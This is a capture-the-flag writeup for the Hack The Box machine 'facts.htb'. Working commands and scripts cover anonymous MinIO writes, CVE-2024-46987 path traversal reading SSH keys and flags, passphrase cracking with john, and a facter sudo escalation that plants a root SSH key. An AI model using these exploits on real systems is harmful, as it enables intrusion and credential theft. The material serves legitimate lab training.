Skip to content

Latest commit

 

History

History
368 lines (272 loc) · 11.6 KB

File metadata and controls

368 lines (272 loc) · 11.6 KB

HTB Machine: facts.htb — Full Writeup

Difficulty: Easy OS: Ubuntu 25.04 IP: 10.129.1.24 (originally 10.129.6.224, reset mid-session) Hostname: facts.htb Date: 2026-02-18


Flags

Flag Value
user.txt 1b0eac565dfa6fed16a5ef7a9c4119d6
root.txt b9761f4d5daace58662057adddb56e7c

Table of Contents

  1. Recon & Enumeration
  2. MinIO Anonymous Access
  3. Camaleon CMS — Account Registration (CAPTCHA)
  4. CVE-2024-46987 — Path Traversal / LFI
  5. SSH Key Extraction & Cracking
  6. Privilege Escalation — facter (GTFOBins)
  7. Root
  8. Key Vulnerabilities Summary

1. Recon & Enumeration

Nmap Full Scan

nmap -sC -sV -p- --min-rate 5000 -oA ~/htb/facts_nmap_full 10.129.1.24

Open Ports

Port Service Details
22 SSH OpenSSH 9.9p1 Ubuntu
80 HTTP nginx 1.26.3 — Camaleon CMS (Ruby on Rails)
54321 HTTP MinIO S3-compatible object storage (redirects to port 9001 internally)

Web Fingerprinting

  • Port 80: Camaleon CMS v2.9.0 — "facts" site
    • Admin panel: http://facts.htb/admin/login
    • Registration: http://facts.htb/admin/register
    • Content pages: http://facts.htb/page
  • Port 54321: MinIO S3 API
    • Bucket randomfactsanonymous read/write/delete enabled
    • Bucket media, uploads — AccessDenied

Notable Findings During Enumeration

  • MinIO bucket randomfacts serves images used on fact pages via nginx proxy at /randomfacts/
  • Thumbnails exist for some images (e.g., thumb/dogspoop-png.png) without originals — generated by CMS media manager
  • Camaleon CMS admin registration is open but gated behind image CAPTCHA
  • /etc/hosts entry: 10.129.1.24 facts.htb

2. MinIO Anonymous Access

Verify Anonymous Write

# List bucket contents
curl -s "http://facts.htb:54321/randomfacts/?list-type=2" | grep -oP '(?<=<Key>)[^<]+'

# Upload test file anonymously
curl -s -X PUT "http://facts.htb:54321/randomfacts/test.txt" \
  -H "Content-Type: text/plain" \
  --data "hello"
# Returns HTTP 200 — write confirmed

# Delete file
curl -s -X DELETE "http://facts.htb:54321/randomfacts/test.txt"
# Returns HTTP 204 — delete confirmed

What Was Tried (but didn't directly lead to root)

  • ImageMagick SSRF (MVG/MSL payloads) — no background processing on direct MinIO uploads
  • SVG XSS via pwn.svg in bucket — thumbnailing only triggers through CMS media manager, not direct S3 uploads
  • CVE-2023-28432 (MinIO info disclosure) — not applicable on this version/config
  • MinIO credential brute-force — failed

3. Camaleon CMS — Account Registration (CAPTCHA)

The /admin/register endpoint is public but requires solving an image CAPTCHA. The captcha answer is stored server-side in the session cookie, so all steps (page fetch → captcha image fetch → form submit) must share the same session.

Registration Script (Python — Session-Preserved)

import requests, re, time, pickle

session = requests.Session()

# Step 1: GET register page (initialises session + gets CSRF)
r = session.get("http://facts.htb/admin/register")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)

# Step 2: Download captcha image with SAME session
r2 = session.get(f"http://facts.htb/captcha?len=5&t={int(time.time())}")
with open("/tmp/captcha.png", "wb") as f:
    f.write(r2.content)

# Step 3: Read captcha (manually or via OCR), then submit
captcha_value = "FTQL8"  # example — read from image each time

data = {
    "authenticity_token": csrf,
    "user[first_name]": "Attacker",
    "user[last_name]": "Test",
    "user[email]": "attacker999@pwn.com",
    "user[username]": "attacker999",
    "user[password]": "Attacker123!",
    "user[password_confirmation]": "Attacker123!",
    "captcha": captcha_value
}

r3 = session.post("http://facts.htb/admin/register", data=data, allow_redirects=True)
# Success: "The user has been created." + redirect to /admin/login

Login

r = session.get("http://facts.htb/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)

r2 = session.post("http://facts.htb/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": "attacker999",
    "user[password]": "Attacker123!"
}, allow_redirects=True)
# Success: redirects to /admin/dashboard

Role Escalation Attempt (Partial — Blocked)

The profile edit page exposed a user[role] select with options: admin, client, contributor, editor. Submitting user[role]=admin via PATCH to /admin/users/<id> was blocked by the server for self-updates (Camaleon CMS strips the role param when editing your own profile).


4. CVE-2024-46987 — Path Traversal / LFI

Vulnerability: Camaleon CMS v2.9.0 — Path Traversal in download_private_file media endpoint CVSS: Critical Auth required: Yes (any registered user, even "client" role) References:

Vulnerable Endpoint

GET /admin/media/download_private_file?file=<PATH_TRAVERSAL>

PoC — Read /etc/passwd

curl -s -b "_factsapp_session=<SESSION_COOKIE>" \
  "http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd"

Returns full /etc/passwd.

LFI Helper (Python)

def lfi(path, session):
    base = "http://facts.htb"
    for prefix in ["../../../", "../../../../", "../../../../../", "../../../../../../"]:
        r = session.get(
            f"{base}/admin/media/download_private_file?file={prefix}{path}",
            allow_redirects=False
        )
        if r.status_code == 200 and len(r.content) > 0:
            return r.content
    return None

Files Read & Key Findings

File Finding
/etc/passwd Users: trivia (uid 1000), william (uid 1001)
/home/william/user.txt user flag1b0eac565dfa6fed16a5ef7a9c4119d6
/home/trivia/.ssh/id_ed25519 Encrypted SSH private key (passphrase protected)
/home/trivia/.ssh/authorized_keys Public key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAoegtYqsUt3O68nCw1MCo6L6qODdwgQjsWTDxSUfhKm

Files Read — Commands

# /etc/passwd
curl -s -b "SESSION" "http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd"

# user flag
curl -s -b "SESSION" "http://facts.htb/admin/media/download_private_file?file=../../../../home/william/user.txt"

# SSH private key
curl -s -b "SESSION" "http://facts.htb/admin/media/download_private_file?file=../../../../home/trivia/.ssh/id_ed25519"

5. SSH Key Extraction & Cracking

Extracted Private Key

Saved to /tmp/trivia_id_ed25519 — encrypted with aes256-ctr + bcrypt (passphrase-protected).

Crack with John the Ripper

# Convert SSH key to John format
ssh2john /tmp/trivia_id_ed25519 > /tmp/trivia_key.hash

# Crack with rockyou
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-70.txt /tmp/trivia_key.hash

# Result
john --show /tmp/trivia_key.hash
# /tmp/trivia_id_ed25519:dragonballz

Passphrase: dragonballz

SSH Login

chmod 600 /tmp/trivia_id_ed25519
ssh -i /tmp/trivia_id_ed25519 trivia@facts.htb
# Enter passphrase: dragonballz

6. Privilege Escalation — facter (GTFOBins)

sudo -l Output

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter v4.10.0 is a Puppet system information tool that supports custom Ruby facts via --custom-dir. Since it runs as root via sudo, we can execute arbitrary Ruby/system commands as root.

Reference: https://gtfobins.github.io/gtfobins/facter/

Exploit — Add SSH Key to Root

# Step 1: Create directory for custom fact
mkdir -p /tmp/facts_custom

# Step 2: Write malicious Ruby fact
cat > /tmp/facts_custom/pwn.rb << 'RUBY'
Facter.add("pwn") do
  setcode do
    system("mkdir -p /root/.ssh && chmod 700 /root/.ssh")
    system("echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAoegtYqsUt3O68nCw1MCo6L6qODdwgQjsWTDxSUfhKm trivia' >> /root/.ssh/authorized_keys")
    system("chmod 600 /root/.ssh/authorized_keys")
    "done"
  end
end
RUBY

# Step 3: Execute as root via sudo
sudo /usr/bin/facter --custom-dir /tmp/facts_custom pwn
# Output: done

SSH as Root

ssh -i /tmp/trivia_id_ed25519 root@facts.htb
# Enter passphrase: dragonballz
# uid=0(root) gid=0(root) groups=0(root)

7. Root

root@facts:~# cat /root/root.txt
b9761f4d5daace58662057adddb56e7c

root@facts:~# cat /home/william/user.txt
1b0eac565dfa6fed16a5ef7a9c4119d6

8. Key Vulnerabilities Summary

# Vulnerability Impact Reference
1 MinIO randomfacts bucket — anonymous read/write/delete Upload arbitrary files to web-accessible storage S3 misconfiguration
2 Camaleon CMS — open registration with weak CAPTCHA Create authenticated CMS user
3 CVE-2024-46987 — Path Traversal / LFI in Camaleon CMS v2.9.0 Read arbitrary files as the Rails app user (incl. SSH keys, flags) https://www.cve.org/CVERecord?id=CVE-2024-46987
4 Encrypted SSH key with weak passphrase (dragonballz) SSH access as trivia
5 sudo NOPASSWD: /usr/bin/facter misconfiguration Arbitrary command execution as root via custom Ruby facts https://gtfobins.github.io/gtfobins/facter/

Attack Chain Diagram

[Attacker]
    │
    ├─1─► Nmap scan → Ports 22, 80, 54321 (MinIO)
    │
    ├─2─► MinIO anonymous write → upload files to randomfacts bucket
    │
    ├─3─► Camaleon CMS /admin/register → register account (solve CAPTCHA)
    │       └─► Login as "client" user → /admin/dashboard
    │
    ├─4─► CVE-2024-46987 LFI → /admin/media/download_private_file?file=../../../../
    │       ├─► /home/william/user.txt  ← USER FLAG
    │       └─► /home/trivia/.ssh/id_ed25519 (encrypted key)
    │
    ├─5─► john + rockyou → passphrase: "dragonballz"
    │       └─► ssh -i trivia_id_ed25519 trivia@facts.htb
    │
    ├─6─► sudo -l → (ALL) NOPASSWD: /usr/bin/facter
    │       └─► Custom Ruby fact → system() → append SSH key to /root/.ssh/authorized_keys
    │
    └─7─► ssh root@facts.htb → cat /root/root.txt  ← ROOT FLAG

Tools Used

Tool Purpose
nmap Port scanning & service fingerprinting
curl HTTP requests, MinIO S3 API, LFI exploitation
python3 + requests CMS registration, session handling, LFI scripting
ssh2john Convert SSH private key to John-crackable format
john Crack SSH key passphrase
expect Automate SSH interactive passphrase entry
scp Upload exploit scripts to target

Useful References